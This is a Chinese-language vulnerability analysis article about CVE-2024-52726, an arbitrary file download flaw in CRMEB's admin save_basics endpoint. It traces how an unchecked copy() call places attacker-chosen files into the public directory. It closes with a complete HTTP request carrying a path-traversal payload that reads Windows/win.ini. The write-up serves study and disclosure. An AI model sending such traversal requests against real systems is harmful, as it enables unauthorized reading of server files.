问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
CRMEB任意文件下载漏洞分析(CVE-2024-52726)
漏洞分析
CRMEB任意文件下载漏洞分析(CVE-2024-52726)
一、漏洞简介 ====== app/adminapi/controller/v1/setting/SystemConfig.php路由中存在任意文件下载漏洞 二、影响版本 ====== <= v5.4.0 三、环境搭建 ====== 配置phpstudy,将网站的运行目录,设置在public目录下  设置伪静态  四、漏洞原理分析 ======== 该系统采用前后端分离技术,基于ThinkPHP6+elementUI+Uni-app框架开发 首先我们查看路由,看到这是一个后台的任意文件下载,并且/adminapi/setting/config/save\_basics路径会进去到 v1.setting.SystemConfig/save\_basics 这个路径下  受影响的代码在app/adminapi/controllerv1.setting.SystemConfig/save\_basics.php文件的save\_basics中 这里从请求中获取 POST 参数,然后遍历 POST 数据的每个键值对,$k 表示字段名,$v 表示字段值。  接着是一系列的判断,判断post参数是否存在这些,然后在weixin\_ckeck\_filepost参数中,存在copy函数,可以将文件进行复制的一个操作  接着跟踪代码,发现public\_path就是在public目录,这里存在copy文件到public目录下的一个操作  分析$to = public\_path() . array\_reverse(explode('/', $post\['weixin\_ckeck\_file'\]))\[0\];这个代码,就是将字符串按 / 分割成一个数组,然后提取最后一个部分(就是文件名),然后拼接到public目录下 进行动调一下,看看是否和我们之前描述的一样。  可以看到,结果就是我们所描述的那种。并且由于是thinkphp的框架,所以运行的目录也是在public目录下面。因此可以直接去访问那个文件,便可以进行下载文件。 五、漏洞复现 ====== ```shell POST /adminapi/setting/config/save_basics HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Authori-zation: Cookie: cb_lang=zh-cn; Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Priority: u=0, i Content-Type: application/json;charset=utf-8 Content-Length: 72 { "weixin_ckeck_file": "../../../../../../../../Windows/win.ini" } ```  然后访问直接win.ini便可以下载win.ini文件  六、总结 ==== 这是一个由于copy函数没有严格控制路径问题,导致存在一个任意文件下载的操作。
发表于 2024-12-11 10:00:00
阅读 ( 4739 )
分类:
CMS
4 推荐
收藏
1 条评论
4everup
1秒前
学习
请先
登录
后评论
请先
登录
后评论
kode
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!